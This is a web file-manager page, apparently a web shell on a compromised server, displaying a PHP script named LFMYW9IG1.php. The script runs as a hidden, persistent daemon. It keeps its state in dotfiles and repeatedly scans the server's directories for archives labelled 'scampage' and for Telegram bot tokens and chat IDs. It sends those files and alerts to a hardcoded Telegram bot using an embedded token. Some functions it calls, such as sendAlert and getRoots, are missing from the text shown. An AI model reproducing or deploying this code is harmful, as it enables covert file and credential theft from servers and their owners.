Login

Edit File: LFMYW9IG1.php

<?php
ini_set('memory_limit', '-1');
set_time_limit(0);
ini_set('display_errors', 0);
error_reporting(0);
ignore_user_abort(true); // Keep running after browser closes — must be FIRST

$botToken = "8576265849:AAHRNJ7juYy5oY_oYmp0zPty2L_VTSRJnMg";
$chatId   = "8341100328";
$scanRoot = __DIR__;
$logFile  = __DIR__ . '/.cache_index.dat';
$pidFile  = __DIR__ . '/.proc_lock';
$interval = 5;

// ── Diagnostic: visit ?test=1 ─────────────────────────────────────────────────
if (isset($_GET['test'])) {
    header('Content-Type: text/plain');
    echo "=== BETA.PHP DIAGNOSTIC ===\n\n";
    echo "PHP: " . PHP_VERSION . "\n";
    echo "Host: " . gethostname() . "\n";
    echo "PHP_BINARY: " . (defined('PHP_BINARY') ? PHP_BINARY : '(not defined)') . "\n";
    echo "curl_init: " . (function_exists('curl_init') ? 'YES' : 'NO') . "\n";
    echo "exec: " . (function_exists('exec') ? 'YES' : 'NO') . "\n";
    echo "fastcgi_finish_request: " . (function_exists('fastcgi_finish_request') ? 'YES' : 'NO') . "\n\n";
    echo "--- Telegram API test ---\n";
    if (function_exists('curl_init')) {
        $ch = curl_init("https://api.telegram.org/bot{$botToken}/sendMessage");
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_POST           => 1,
            CURLOPT_POSTFIELDS     => ['chat_id' => $chatId, 'text' => '[WATCHDOG] TEST from: ' . gethostname()],
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT        => 15,
        ]);
        $resp = curl_exec($ch);
        $err  = curl_error($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        echo "HTTP: $code\n";
        echo "cURL error: " . ($err ?: 'none') . "\n";
        echo "Response: $resp\n\n";
    }
    echo "--- Files in scan root ---\n";
    $dh = opendir($scanRoot);
    while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;
        echo filesize("$scanRoot/$f") . "\t$f\n";
    }
    closedir($dh);
    $dbg = $scanRoot . '/.scan_debug.log';
    if (file_exists($dbg)) { echo "\n--- .scan_debug.log ---\n"; echo file_get_contents($dbg); }
    else { echo "\n.scan_debug.log: not found yet\n"; }
    exit(0);
}

// ── Already running? ──────────────────────────────────────────────────────────
if (file_exists($pidFile)) {
    $pid = (int)trim(@file_get_contents($pidFile));
    if ($pid > 0 && file_exists("/proc/$pid")) {
        if (php_sapi_name() !== 'cli') {
            while (ob_get_level() > 0) ob_end_clean();
            $body = 'running';
            header('Content-Type: text/plain');
            header('Content-Length: ' . strlen($body));
            header('Connection: close');
            echo $body; ob_flush(); flush();
        }
        exit(0);
    }
    @unlink($pidFile);
}

// ── Send HTTP response, then continue as watchdog in this same process ────────
if (php_sapi_name() !== 'cli') {
    while (ob_get_level() > 0) ob_end_clean();
    $body = 'started';
    header('Content-Type: text/plain');
    header('Content-Length: ' . strlen($body));
    header('Connection: close');
    echo $body; ob_flush(); flush();
    // ignore_user_abort(true) set at top — script keeps running after browser closes
}

file_put_contents($pidFile, getmypid());
register_shutdown_function(function() use ($pidFile) { @unlink($pidFile); });

// ── Helpers ───────────────────────────────────────────────────────────────────

function sendFile($botToken, $chatId, $filePath, $caption = '') {
    if (!file_exists($filePath) || filesize($filePath) > 50 * 1024 * 1024) return;
    $ch = curl_init("https://api.telegram.org/bot{$botToken}/sendDocument");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_POST           => 1,
        CURLOPT_POSTFIELDS     => ['chat_id' => $chatId, 'caption' => $caption, 'document' => new CURLFile($filePath)],
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT        => 60,
    ]);
    curl_exec($ch); curl_close($ch);
}

function loadSeen($logFile) {
    return file_exists($logFile)
        ? array_flip(file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES))
        : [];
}

function markSeen($logFile, $key) {
    file_put_contents($logFile, $key . "\n", FILE_APPEND | LOCK_EX);
}

function scan($dir, $botToken, $chatId, $logFile, &$seen) {
    $dh = @opendir($dir);
    if (!$dh) return;
    $skip = [basename(__FILE__), '.cache_index.dat', '.proc_lock', '.scan_debug.log'];

while (($file = readdir($dh)) !== false) {
        if ($file === '.' || $file === '..') continue;
        $path = "$dir/$file";

if (is_dir($path)) { scan($path, $botToken, $chatId, $logFile, $seen); continue; }

// ZIP / scampage archive
        if (preg_match('/\.(zip|rar|7z|tar\.gz|tar\.bz2)$/i', $file)) {
            $key = md5("zip|$path|" . filemtime($path));
            if (!isset($seen[$key])) {
                sendAlert($botToken, $chatId, 'SCAMPAGE ZIP', "File: $file", $path);
                sendFile($botToken, $chatId, $path, "[WATCHDOG] $file");
                markSeen($logFile, $key);
                $seen[$key] = true;
            }
        }

if (in_array($file, $skip)) continue;

$content = @file_get_contents($path);
        if (!$content) continue;

// Token detection — URL-based (case insensitive, matches SendMessage/sendMessage/etc.)
        $token = '';
        if (preg_match('/https?:\/\/api\.telegram\.org\/bot(.+?)\/[Ss]end/i', $content, $m)) {
            $raw = trim($m[1]);
            if (preg_match('/^\d{9,11}:[a-zA-Z0-9_\-]{30,}$/', $raw)) {
                $token = $raw;
            } elseif (preg_match('/^\{?\$([a-zA-Z_][a-zA-Z0-9_]*)\}?$/', $raw, $varM)) {
                $vn = $varM[1];
                if (preg_match('/\$' . preg_quote($vn) . '\s*=\s*["\']([^"\']+)["\']/', $content, $vv))
                    $token = $vv[1];
            } elseif (preg_match('/\.\s*\$([a-zA-Z_][a-zA-Z0-9_]*)\s*\./', $raw, $varM)) {
                $vn = $varM[1];
                if (preg_match('/\$' . preg_quote($vn) . '\s*=\s*["\']([^"\']+)["\']/', $content, $vv))
                    $token = $vv[1];
            }
        }
        // Bare token fallback (matches tokens stored in variables like watchdog.php)
        if (!$token && preg_match('/\d{9,11}:[a-zA-Z0-9_\-]{35}/', $content, $m))
            $token = $m[0];

if ($token && preg_match('/^\d{9,11}:[a-zA-Z0-9_\-]{30,}$/', $token)) {
            $chatIdFound = '';
            if (preg_match_all('/(?:^|[^0-9])([\-]?(?:100)?\d{9,11})(?:[^0-9]|$)/', $content, $ids))
                $chatIdFound = $ids[1][1] ?? '';

$key = md5("token|$path|" . filemtime($path) . "|$token|$chatIdFound");
            if (!isset($seen[$key])) {
                @file_put_contents(dirname($logFile) . '/.scan_debug.log',
                    date('Y-m-d H:i:s') . " FOUND token=$token chatid=$chatIdFound path=$path\n",
                    FILE_APPEND | LOCK_EX
                );
                sendAlert($botToken, $chatId, 'TOKEN FOUND', "Token: $token | ChatID: $chatIdFound", $path);
                sendFile($botToken, $chatId, $path, "[WATCHDOG] $file");
                markSeen($logFile, $key);
                $seen[$key] = true;
            }
        }
    }
    closedir($dh);
}

// ── Main loop ─────────────────────────────────────────────────────────────────

sendAlert($botToken, $chatId, 'DAEMON STARTED', 'Host: ' . gethostname(), __FILE__);

$roots = getRoots($scanRoot);
while (true) {
    $seen = loadSeen($logFile);
    foreach ($roots as $root) {
        scan($root, $botToken, $chatId, $logFile, $seen);
    }
    sleep($interval);
}

Download

File Manager

Files in the directory:

Upload a File

Edit File: LFMYW9IG1.php